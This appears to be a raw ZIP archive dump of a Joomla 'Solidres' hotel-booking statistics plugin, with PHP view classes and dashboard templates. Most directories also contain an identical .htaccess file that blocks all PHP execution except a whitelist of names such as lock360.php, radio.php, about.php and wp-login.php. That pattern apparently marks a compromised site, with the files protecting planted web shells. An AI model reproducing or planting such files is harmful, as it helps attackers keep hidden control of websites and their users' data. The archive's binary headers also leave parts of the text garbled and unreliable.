' . (int) $this->reservationAssetId) ->group('a2.origin_id'); if ($this->isFrontEndPartner()) { $query->join('INNER', $db->quoteName('#__sr_reservation_assets', 'a3') . ' ON a3.id = a2.reservation_asset_id') ->where('a3.partner_id = ' . $this->getPartnerId()); } return $db->setQuery($query)->loadObjectList(); } }PK �.]9��ܤ � : statistics/administrator/components/com_solidres/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]u�f� � L statistics/administrator/components/com_solidres/views/widgets/view.html.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; class SolidresViewWidgets extends SRViewLegacy { public function display($tpl = null) { $app = JFactory::getApplication(); if ($app->isClient('administrator')) { JToolBarHelper::title(JText::_('COM_SOLIDRES')); JToolBarHelper::preferences('com_solidres'); JToolbarHelper::link(JRoute::_('index.php?option=com_solidres&view=statistics', false), JText::_('SR_STATISTICS_DASHBOARD'), 'back statistics'); JToolBarHelper::apply('widgets.save'); } parent::display($tpl); } } PK �.]9��ܤ � H statistics/administrator/components/com_solidres/views/widgets/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]p���� � O statistics/administrator/components/com_solidres/views/widgets/tmpl/default.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; SRLayoutHelper::addIncludePath(SRPlugin::getAdminPath('statistics') . '/layouts'); ?> <form id="adminForm" name="adminForm" method="post"> <?php echo SRLayoutHelper::render('widgets.builder'); ?> <input type="hidden" name="task"/> </form> PK �.]9��ܤ � M statistics/administrator/components/com_solidres/views/widgets/tmpl/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]�;Tl? ? O statistics/administrator/components/com_solidres/views/statistics/view.html.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2016 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ /** * Statistics view * * @package Solidres * @subpackage Statistics * @since 0.5.0 */ defined('_JEXEC') or die; class SolidresViewStatistics extends SRViewLegacy { /** * @var \Joomla\CMS\Application\CMSApplication $app * @since 1.3.4 */ public $app; public $sideNavigation = true; public $noDisplay = false; public $reservationData = array(); public $limitBookingData = array(); public $dateRangeFormatted = ''; public $startDate; public $endDate; protected $model; protected $dateViewForm; protected $dateViewTo; protected $rangeFromDate = null; protected $rangeToDate = null; protected $scopeView = null; protected $directionView = null; protected $checkInOutStatus; public $widgetData = []; public function __construct($config = array()) { JDEBUG ? JProfiler::getInstance('Application')->mark('beforeRenderSolidresDashboard') : null; parent::__construct($config); } public function display($tpl = null) { plgSolidresStatistics::framework(array( 'json2', 'dateAxisRenderer', 'canvasAxisLabelRenderer', 'canvasAxisTickRenderer', 'logAxisRenderer', 'canvasTextRenderer', 'highlighter', 'pieRenderer', 'cursor', 'barRenderer' )); $this->app = JFactory::getApplication(); $this->model = $this->getModel(); $solidresContext = $this->app->isClient('administrator') ? 'backend' : 'frontend'; $this->checkInOutStatus = $this->app->getUserState('com_solidres.statistics.checkInOutStatus', [0, 1]); $viewName = $this->getName(); if ($solidresContext == 'backend') { JToolBarHelper::title(JText::_('COM_SOLIDRES')); if ($viewName === 'calendars') { JToolbarHelper::link(JRoute::_('index.php?option=com_solidres&view=statistics', false), JText::_('SR_STATISTICS_DASHBOARD'), 'back statistics'); } else { JToolbarHelper::link(JRoute::_('index.php?option=com_solidres&view=widgets', false), JText::_('SR_STATISTICS_WIDGETS'), 'stack widgets'); JToolbarHelper::link(JRoute::_('index.php?option=com_solidres&view=calendars', false), JText::_('SR_STATISTICS_CALENDARS'), 'calendar'); } JToolBarHelper::preferences('com_solidres'); } else { $this->sideNavigation = false; } JHtml::_('stylesheet', 'com_solidres/assets/main.min.css', array(), true); JHtml::_('stylesheet', 'plg_solidres_statistics/assets/flag-icon.min.css', array(), true); JText::script('SR_STATISTICS_UNDEFINED'); JText::script('SR_STATISTICS_TO_DAY'); JText::script('SR_STATISTICS_THIS_WEEK'); JText::script('SR_STATISTICS_THIS_MONTH'); JText::script('SR_STATISTICS_LAST_3_MONTH'); JText::script('SR_STATISTICS_LAST_6_MONTH'); JText::script('SR_STATISTICS_LAST_WEEK'); JText::script('SR_STATISTICS_LAST_MONTH'); JText::script('SR_STATISTICS_LAST_YEAR'); JText::script('SR_STATISTICS_FROM'); JText::script('SR_STATISTICS_TO'); JText::script('SR_STATISTICS_REVENUE_COUNT'); JText::script('SR_STATISTICS_BOOKING_COUNT'); JText::script('SR_STATISTICS_TOP_ROOM_TYPES'); JText::script('SR_STATISTICS_NO_DATA_FOUND'); JText::script('SR_STATISTICS_DATE'); JText::script('SR_STATISTICS_ADD_NEW_COUPON_FIELD'); JText::script('SR_STATISTICS_RESIZE_CONFIRM'); JText::script('SR_RESERVATION_CHECKIN'); JText::script('SR_RESERVATION_CHECKOUT'); JText::script('SR_STATISTICS_CUSTOMER_NAME'); JText::script('SR_CODE'); JText::script('SR_EMAIL'); JText::script('SR_PHONE'); JText::script('SR_MOBILEPHONE'); JText::script('SR_RESERVATION_SUB_TOTAL'); JText::script('SR_RESERVATION_TAX'); JText::script('SR_RESERVATION_DEPOSIT_AMOUNT'); JText::script('SR_GRAND_TOTAL'); JText::script('JTOOLBAR_VIEW'); JText::script('SR_ROOM_TYPE_ROOM'); JText::script('SR_STATISTICS_DASHBOARD_FROM'); JText::script('SR_STATISTICS_DASHBOARD_TO'); JText::script('SR_RESERVATION_ROOM_DETAILS'); JText::script('SR_STATISTICS_DASHBOARD_LIMIT_BOOKING_TITLE'); JText::script('SR_STATISTICS_DASHBOARD_LIMIT_BOOKING_DESC'); JText::script('SR_FIELD_LIMITBOOKING_START_DATE_LABEL'); JText::script('SR_FIELD_LIMITBOOKING_END_DATE_LABEL'); JText::script('SR_STATISTICS_ROOM_NOT_AVAILABLE_FOR_JS_FORMAT'); SRHtml::_('jquery.datepicker'); JFactory::getDocument()->addScriptDeclaration('Solidres.context = "' . $solidresContext . '";'); if ($viewName == 'statistics') { if (empty($this->widgetData)) { $filePath = SRPlugin::getAdminPath('statistics') . '/widgets'; $fileData = $filePath . '/data.json'; if ('mod_sr_statistics' === $this->app->scope || !is_file($fileData)) { $fileData = $filePath . '/data.default.json'; } if (is_file($fileData) && ($contents = file_get_contents($fileData)) && ($data = json_decode($contents, true)) ) { $this->widgetData = $data; } } if (!empty($this->widgetData['widgets'])) { $this->widgetData['outputs'] = []; SRLayoutHelper::addIncludePath(SRPlugin::getAdminPath('statistics') . '/layouts'); foreach ($this->widgetData['widgets'] as $widgetId) { $widget = new stdClass; $widget->id = $widgetId; $this->app->triggerEvent('onSolidresWidgetPrepare', [$widget, $this]); if (isset($widget->layoutId) && isset($widget->content)) { $this->widgetData['outputs'][$widgetId] = SRLayoutHelper::render($widget->layoutId, [ 'widget' => $widget, ]); } } } } if (true !== $this->noDisplay) { parent::display($tpl); } JDEBUG ? JProfiler::getInstance('Application')->mark('afterRenderSolidresDashboard') : null; } protected function setDate($timezone, $scopeView = null, $directionView = null, &$dateFrom = null, &$dateTo = null) { $nowDate = JFactory::getDate('now', $timezone); $nowDateFormatted = $nowDate->format('Y-m-d', true); $jDate = clone $nowDate; if ($scopeView) { switch ($scopeView) { case 'today': $dateFrom = $dateFrom ?: $nowDateFormatted; $dateTo = $dateTo ?: JFactory::getDate($dateFrom . ' + 1 month', $timezone)->format('Y-m-d', true); $prevDate = array( JFactory::getDate($dateFrom . ' - 1 month', $timezone)->format('Y-m-d', true), $dateFrom, ); $nextDate = array( $dateTo, JFactory::getDate($dateTo . ' + 1 month', $timezone)->format('Y-m-d', true) ); $this->app->setUserState('com_solidres.statistics.activeDate', array($dateFrom, $dateTo)); $this->app->setUserState('com_solidres.statistics.prevDate', $prevDate); $this->app->setUserState('com_solidres.statistics.nextDate', $nextDate); $this->app->setUserState('com_solidres.statistics.scopeView', $scopeView); break; case 'thisweek': case 'lastweek': if ($scopeView == 'thisweek') { $week = $this->model->getWeek($jDate->format('Y-m-d', true)); } else { $week = $this->model->getWeek($jDate->format('Y-m-d', true) . ' - 1 week + 1 day'); } $dateFrom = $dateFrom ?: $week[0]; $dateTo = $dateTo ?: JFactory::getDate($dateFrom . ' +6 day', $timezone)->format('Y-m-d', $timezone); $prevDate = array( JFactory::getDate($dateFrom . ' - 7day', $timezone)->format('Y-m-d', true), JFactory::getDate($dateFrom . ' - 1day', $timezone)->format('Y-m-d', true), ); $nextDate = array( JFactory::getDate($dateTo . ' + 1day', $timezone)->format('Y-m-d', true), JFactory::getDate($dateTo . ' + 7day', $timezone)->format('Y-m-d', true) ); $this->app->setUserState('com_solidres.statistics.activeDate', array($dateFrom, $dateTo)); $this->app->setUserState('com_solidres.statistics.prevDate', $prevDate); $this->app->setUserState('com_solidres.statistics.nextDate', $nextDate); $this->app->setUserState('com_solidres.statistics.scopeView', $scopeView); break; case 'thismonth': case 'lastmonth': case 'lastyear': if ($scopeView == 'lastyear') { $jDate->sub(new DateInterval('P1Y')); $dateFrom = $dateFrom ?: $jDate->format('Y-01-01', true); $dateTo = $dateTo ?: JFactory::getDate($dateFrom . ' +11 month')->format('Y-m-t'); $prevDate = array(JFactory::getDate($dateFrom . ' -1 year', $timezone)->format('Y-01-01', true)); $nextDate = array(JFactory::getDate($dateTo . ' +1 day', $timezone)->format('Y-01-01', true)); $prevDate[1] = JFactory::getDate($prevDate[0] . ' +11 month', $timezone)->format('Y-m-t', true); $nextDate[1] = JFactory::getDate($nextDate[0] . ' +11 month', $timezone)->format('Y-m-t', true); } else { if ($scopeView == 'lastmonth') { $jDate->sub(new DateInterval('P1M')); } $dateFrom = $dateFrom ?: $jDate->format('Y-m-01', true); $dateTo = $dateTo ?: $jDate->format('Y-m-t', true); $prevDate = array(JFactory::getDate($dateFrom . ' -1 month', $timezone)->format('Y-m-01', true)); $nextDate = array(JFactory::getDate($dateTo . ' +1 day', $timezone)->format('Y-m-01', true)); $prevDate[1] = JFactory::getDate($prevDate[0], $timezone)->format('Y-m-t', true); $nextDate[1] = JFactory::getDate($nextDate[0], $timezone)->format('Y-m-t', true); } $this->app->setUserState('com_solidres.statistics.activeDate', array($dateFrom, $dateTo)); $this->app->setUserState('com_solidres.statistics.prevDate', $prevDate); $this->app->setUserState('com_solidres.statistics.nextDate', $nextDate); $this->app->setUserState('com_solidres.statistics.scopeView', $scopeView); break; case 'last3': case 'last6': $interval = substr($scopeView, 4); $jDate->sub(new DateInterval('P' . $interval . 'M')); $dateFrom = $dateFrom ?: $jDate->format('Y-m-01', true); $dateTo = $dateTo ?: JFactory::getDate($dateFrom . ' +' . $interval . ' month - 1 day', $timezone)->format('Y-m-t', true); $prevDate = array( JFactory::getDate($dateFrom . ' -' . $interval . ' month', $timezone)->format('Y-m-01', true), JFactory::getDate($dateFrom . ' -1 day', $timezone)->format('Y-m-t', true), ); $nextDate = array( JFactory::getDate($dateTo . ' +1 day', $timezone)->format('Y-m-01', true), JFactory::getDate($dateTo . ' +' . $interval . ' month', $timezone)->format('Y-m-t', true), ); $this->app->setUserState('com_solidres.statistics.activeDate', array($dateFrom, $dateTo)); $this->app->setUserState('com_solidres.statistics.prevDate', $prevDate); $this->app->setUserState('com_solidres.statistics.nextDate', $nextDate); $this->app->setUserState('com_solidres.statistics.scopeView', $scopeView); break; case 'customrange': $this->rangeFromDate = $this->app->getUserStateFromRequest('com_solidres.statistics.rangeFromDate', 'rangeFromDate', 'now', 'string'); $this->rangeToDate = $this->app->getUserStateFromRequest('com_solidres.statistics.rangeToDate', 'rangeToDate', 'now', 'string'); $interval = (int) JFactory::getDate($this->rangeFromDate, $timezone)->diff(JFactory::getDate($this->rangeToDate, $timezone))->format('%a'); $dateFrom = $dateFrom ?: $this->rangeFromDate; $dateTo = $dateTo ?: $this->rangeToDate; $prevDate = array( JFactory::getDate($dateFrom . ' -' . ($interval + 1) . ' day', $timezone)->format('Y-m-d', true), JFactory::getDate($dateFrom . ' -1 day', $timezone)->format('Y-m-d', true), ); $nextDate = array( JFactory::getDate($dateTo . ' +1 day', $timezone)->format('Y-m-d', true), JFactory::getDate($dateTo . ' +' . ($interval + 1) . ' day', $timezone)->format('Y-m-d', true), ); $this->app->setUserState('com_solidres.statistics.activeDate', array($dateFrom, $dateTo)); $this->app->setUserState('com_solidres.statistics.prevDate', $prevDate); $this->app->setUserState('com_solidres.statistics.nextDate', $nextDate); $this->app->setUserState('com_solidres.statistics.scopeView', $scopeView); break; } } if ($directionView) { $scopeView = $this->app->getUserState('com_solidres.statistics.scopeView', null); $prevDate = $this->app->getUserState('com_solidres.statistics.prevDate', null); $nextDate = $this->app->getUserState('com_solidres.statistics.nextDate', null); if (!$scopeView || !$prevDate || !$nextDate) { // FallBack Set default view is today return $this->setDate($timezone, 'today', null, $dateFrom, $dateTo); } else { list($dateFrom, $dateTo) = $directionView == 'prev' ? $prevDate : $nextDate; return $this->setDate($timezone, $scopeView, null, $dateFrom, $dateTo); } } return $scopeView; } public function loadStatistics() { $timezone = JFactory::getUser()->getTimezone(); $roomTypes = $this->model->getRoomTypes(); $rooms = $this->model->getRooms(); $scopeView = strtolower($this->app->input->get('scopeView', '')); $directionView = strtolower($this->app->input->get('directionView', '')); $dateFormat = JComponentHelper::getParams('com_solidres')->get('date_format', 'd-m-Y'); try { if (!$scopeView && !$directionView) { $activeDate = $this->app->getUserState('com_solidres.statistics.activeDate', array()); if (!empty($activeDate)) { list($dateFrom, $dateTo) = $activeDate; } $this->scopeView = $scopeView = $this->app->getUserState('com_solidres.statistics.scopeView', 'today'); } if (!isset($dateFrom, $dateTo)) { $this->scopeView = $this->setDate($timezone, $scopeView, $directionView, $dateFrom, $dateTo); } $dateViewFrom = JFactory::getDate($dateFrom); $dateViewTo = JFactory::getDate($dateTo); } catch (Exception $e) { throw new RuntimeException($e->getMessage()); } $this->directionView = strtolower($this->app->getUserStateFromRequest('com_solidres.statistics.directionView', 'directionView', '')); $this->startDate = $dateViewFrom->format('Y-m-d'); $this->endDate = $dateViewTo->format('Y-m-d'); $this->dateViewForm = $dateViewFrom; $this->dateViewTo = $dateViewTo; $this->reservationData = $this->model->getReservations($this->startDate, $this->endDate); $this->limitBookingData = $this->model->getLimitedBooking($this->startDate, $this->endDate); $displayData = array( 'statuses' => $this->model->getStatuses(), 'fields' => $this->model->getFields(), 'reservationData' => $this->reservationData, 'limitBookingData' => $this->limitBookingData, 'dateViewFrom' => $dateViewFrom, 'dateViewTo' => $dateViewTo, 'roomTypes' => $roomTypes, 'rooms' => $rooms, 'timezone' => $timezone, 'startDate' => $this->startDate, 'endDate' => $this->endDate ); SRLayoutHelper::addIncludePath(SRPlugin::getAdminPath('statistics') . '/layouts'); $this->dateRangeFormatted = SRLayoutHelper::render('statistics.range', array( 'dateViewFromFormatted' => $dateViewFrom->format($dateFormat), 'dateViewToFormatted' => $dateViewTo->format($dateFormat), )); $optionsData = array( 'SR_UI_GRID_CONTAINER' => SR_UI_GRID_CONTAINER, 'baseUrl' => JUri::base(true), ); for ($i = 1; $i < 13; $i++) { if (defined('SR_UI_GRID_COL_' . $i)) { $optionsData['SR_UI_GRID_COL_' . $i] = constant('SR_UI_GRID_COL_' . $i); } } JFactory::getDocument()->addScriptDeclaration('Solidres.options.load(' . json_encode($optionsData) . ')'); return SRLayoutHelper::render('statistics.statistics', $displayData); } } PK �.][�� R statistics/administrator/components/com_solidres/views/statistics/tmpl/default.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; $id = \JFactory::getApplication()->input->get('option') == 'com_solidres' ? ' id="solidres"' : ''; ?> <div<?php echo $id; ?> class="browser <?php echo JBrowser::getInstance()->isMobile() ? 'mobile' : 'desktop'; ?>"> <div class="<?php echo SR_UI_GRID_CONTAINER; ?>"> <?php echo $this->sideNavigation ? SolidresHelperSideNavigation::getSideNavigation($this->getName()) : ''; ?> <div id="sr_panel_right" class="<?php echo $this->sideNavigation ? SR_UI_GRID_COL_10 : SR_UI_GRID_COL_12 ?>"> <?php if (!empty($this->widgetData['rows'])): ?> <?php foreach ($this->widgetData['rows'] as $row): ?> <div class="sr-widget-row"> <div class="<?php echo SR_UI_GRID_CONTAINER; ?>"> <?php foreach ($row['cols'] as $col): ?> <div class="<?php echo constant('SR_UI_GRID_COL_' . $col['colWidth']); ?>"> <?php if (!empty($col['widgets'])): ?> <?php foreach ($col['widgets'] as $widgetId): ?> <div class="sr-widget widget-<?php echo str_replace('.', '-', $widgetId); ?>"> <?php echo isset($this->widgetData['outputs'][$widgetId]) ? $this->widgetData['outputs'][$widgetId] : ''; ?> </div> <?php endforeach; ?> <?php endif; ?> </div> <?php endforeach; ?> </div> </div> <?php endforeach; ?> <?php endif; ?> </div> </div> </div> PK �.]9��ܤ � P statistics/administrator/components/com_solidres/views/statistics/tmpl/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]9��ܤ � K statistics/administrator/components/com_solidres/views/statistics/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]9��ܤ � @ statistics/administrator/components/com_solidres/views/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]����� � N statistics/administrator/components/com_solidres/views/calendars/view.html.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; JLoader::register('SolidresViewStatistics', SRPlugin::getAdminPath('statistics') . '/views/statistics/view.html.php'); use Joomla\CMS\MVC\Model\BaseDatabaseModel; use Joomla\CMS\Factory as CMSFactory; class SolidresViewCalendars extends SolidresViewStatistics { protected $frontEndNavbar = null; protected $isAdmin = false; public function __construct($config = []) { parent::__construct($config); $this->isAdmin = CMSFactory::getApplication()->isClient('administrator'); $defaultModel = BaseDatabaseModel::getInstance('Statistics', 'SolidresModel'); $this->setModel($defaultModel, true); if (!$this->isAdmin) { if (!$defaultModel->getPartnerId() || !SRPlugin::isEnabled('hub')) { throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403); } SRLayoutHelper::addIncludePath(SRPlugin::getLayoutPath('hub')); $this->frontEndNavbar = SRLayoutHelper::render('hub.navbar'); } SRLayoutHelper::addIncludePath(SRPlugin::getAdminPath('statistics') . '/layouts'); } } PK �.] �r"2 "2 Q statistics/administrator/components/com_solidres/views/calendars/tmpl/default.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2016 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ /** * Statistics Dashboard view * * @package Solidres * @subpackage Statistics * @since 0.5.0 */ defined('_JEXEC') or die; $statistics = $this->loadStatistics(); $config = JComponentHelper::getParams('com_solidres'); $dateFormat = $config->get('date_format', 'd-m-Y'); $refreshSeconds = (int) $config->get('statistics_refresh_seconds', 60); $jsDateFormat = SRUtilities::convertDateFormatPattern($dateFormat); SRHtml::_('jquery.datepicker', $jsDateFormat, '#sr-date-from-alt', 'yy-mm-dd', '#sr-date-from'); SRHtml::_('jquery.datepicker', $jsDateFormat, '#sr-date-to-alt', 'yy-mm-dd', '#sr-date-to'); if ($this->rangeFromDate && $this->rangeToDate) { $fromDateValue = $this->rangeFromDate; $fromDateFormatted = JHtml::_('date', $fromDateValue, $dateFormat); $toDateValue = $this->rangeToDate; $toDateFormatted = JHtml::_('date', $toDateValue, $dateFormat); } else { $fromDateValue = $fromDateFormatted = $toDateValue = $toDateFormatted = ''; } ?> <div id="solidres"> <?php if (!$this->isAdmin): ?> <?php echo $this->frontEndNavbar; ?> <?php endif; ?> <div id="sr-statistics-calendar" class="browser <?php echo JBrowser::getInstance()->isMobile() ? 'mobile' : 'desktop'; ?>"> <div class="<?php echo SR_UI_GRID_CONTAINER; ?>"> <?php echo $this->isAdmin ? SolidresHelperSideNavigation::getSideNavigation($this->getName()) : ''; ?> <div id="sr_panel_right" class="<?php echo $this->isAdmin ? SR_UI_GRID_COL_10 : SR_UI_GRID_COL_12 ?>"> <?php echo SRLayoutHelper::render('widgets.content.assets', [ 'title' => '<i class="fa fa-calendar"></i> ' . JText::_('SR_STATISTICS_CALENDARS'), 'view' => $this, ]); ?> <div class="navbar statistics_nav" id="statistics-nav"> <div class="navbar-inner"> <div class="navbar-container container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> <div class="nav-collapse collapse"> <ul class="nav"> <li<?php echo $this->scopeView == 'thisweek' ? ' class="active"' : '' ?>> <a class="action" data-scope-view="thisweek" href=""><?php echo JText::_('SR_STATISTICS_THIS_WEEK') ?></a> </li> <li<?php echo $this->scopeView == 'lastweek' ? ' class="active"' : '' ?>> <a class="action" data-scope-view="lastweek" href=""><?php echo JText::_('SR_STATISTICS_LAST_WEEK') ?></a> </li> <li<?php echo $this->scopeView == 'thismonth' ? ' class="active"' : '' ?>> <a class="action" data-scope-view="thismonth" href=""><?php echo JText::_('SR_STATISTICS_THIS_MONTH') ?></a> </li> <li<?php echo $this->scopeView == 'lastmonth' ? ' class="active"' : '' ?>> <a class="action" data-scope-view="lastmonth" href=""><?php echo JText::_('SR_STATISTICS_LAST_MONTH') ?></a> </li> <li<?php echo $this->scopeView == 'last3' ? ' class="active"' : '' ?>> <a class="action" data-scope-view="last3" href=""><?php echo JText::_('SR_STATISTICS_LAST_3_MONTH') ?></a> </li> <li<?php echo $this->scopeView == 'last6' ? ' class="active"' : '' ?>> <a class="action" data-scope-view="last6" href=""><?php echo JText::_('SR_STATISTICS_LAST_6_MONTH') ?></a> </li> <li<?php echo $this->scopeView == 'lastyear' ? ' class="active"' : '' ?>> <a class="action" data-scope-view="lastyear" href=""><?php echo JText::_('SR_STATISTICS_LAST_YEAR') ?></a> </li> </ul> <ul class="nav pull-right"> <li<?php echo $this->scopeView == 'customrange' ? ' class="active"' : '' ?>> <a class="action" data-scope-view="customrange" href="#"> <i class="fa fa-wrench"></i> <?php echo JText::_('SR_STATISTICS_AD_OPTIONS') ?> </a> </li> <div class="date-toggle"> <div class="date-customtab"> <li><?php echo JText::_('SR_STATISTICS_CUSTOMRANGE') ?></li> <input id="sr-date-from" class="customFrom input-block-level" type="text" readonly="true" placeholder="<?php echo JText::_('SR_STATISTICS_FROM') ?>" value="<?php echo $fromDateFormatted ?>"> <input type="hidden" id="sr-date-from-alt" value="<?php echo $fromDateValue ?>"/> <input id="sr-date-to" class="customTo input-block-level" type="text" readonly="true" placeholder="<?php echo JText::_('SR_STATISTICS_TO') ?>" value="<?php echo $toDateFormatted ?>"> <input type="hidden" id="sr-date-to-alt" value="<?php echo $toDateValue ?>"/> <button id="btn-custom-date-apply" class="date-submit1 btn" type="button"><?php echo JText::_('SR_STATISTICS_APPLY') ?></button> </div> </div> </ul> </div> </div> </div> </div> <div class="clearfix"></div> <form id="dashboard_statistics_form" name="dashboard_statistics_form" method="post" action=""> <div id="dashboard-main-wrapper"> <div id="dashboard-top-wrapper" class="center clearfix"> <div class="pull-left"> <div class="btn-group"> <button name="sr_nav_prev" type="button" class="btn action<?php echo $this->directionView == 'prev' ? ' active' : ''; ?>" id="sr-nav-prev" data-direction-view="prev"> <i class="fa fa-arrow-left"></i> <?php echo JText::_('SR_STATISTICS_DASHBOARD_NAV_PREV') ?></button> <button name="sr_nav_today" type="button" class="btn action<?php echo $this->scopeView == 'today' && !$this->directionView ? ' active' : '' ?>" id="sr-nav-today" data-scope-view="today"> <i class="fa fa-dot-circle-o" aria-hidden="true"></i> <?php echo JText::_('SR_STATISTICS_DASHBOARD_NAV_TODAY') ?> </button> <button name="sr_nav_next" type="button" class="btn action<?php echo $this->directionView == 'next' ? ' active' : ''; ?>" id="sr-nav-next" data-direction-view="next"> <i class="fa fa-arrow-right"></i> <?php echo JText::_('SR_STATISTICS_DASHBOARD_NAV_NEXT') ?> </button> </div> <button type="button" class="btn" id="sr-toggle-draggable"> <i class="fa fa-arrows-alt" aria-hidden="true"></i> <?php echo JText::_('SR_DRAGGABLE'); ?> </button> <button type="button" class="btn" id="sr-dashboard-reload"> <i class="fa fa-refresh" aria-hidden="true"></i> <?php echo JText::_('SR_RELOAD'); ?> </button> </div> <div class="pull-right sub-info"> <div id="dashboard-date-range"> <?php echo $this->dateRangeFormatted; ?> </div> <?php if ($refreshSeconds > 0): ?> <div id="sr-statistics-refresh" data-seconds="<?php echo $refreshSeconds; ?>"> <?php echo JText::sprintf('SR_STATISTICS_REFRESH_IN_SECONDS_FORMAT', '<span>' . $refreshSeconds . '</span>'); ?> </div> <?php endif; ?> </div> </div> <div id="dashboard-statuses"> <?php foreach ($this->get('StateColors') as $status): ?> <div class="dashboard-status<?php echo $status->disabled ? ' disabled' : ''; ?>" data-status="<?php echo $status->code; ?>"> <div class="dashboard-status-color" style="background-color: <?php echo $status->color_code; ?>"></div> <div class="dashboard-status-text"><?php echo $status->label; ?></div> <div class="clearfix"></div> </div> <?php endforeach; ?> <div class="dashboard-status<?php echo !in_array(1, $this->checkInOutStatus, true) ? ' disabled' : ''; ?>" data-status="checkin"> <div class="dashboard-status-color" style="background-color: #31708F"></div> <div class="dashboard-status-text"><?php echo JText::_('SR_CHECKIN'); ?></div> <div class="clearfix"></div> </div> <div class="dashboard-status<?php echo !in_array(0, $this->checkInOutStatus, true) ? ' disabled' : ''; ?>" data-status="checkout"> <div class="dashboard-status-color" style="background-color: #333333"></div> <div class="dashboard-status-text"><?php echo JText::_('SR_CHECKOUT'); ?></div> <div class="clearfix"></div> </div> <div class="clearfix"></div> </div> <?php echo $statistics; ?> </div> </form> </div> </div> </div> </div> PK �.]9��ܤ � O statistics/administrator/components/com_solidres/views/calendars/tmpl/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]9��ܤ � J statistics/administrator/components/com_solidres/views/calendars/.htaccessnu �[��� <FilesMatch 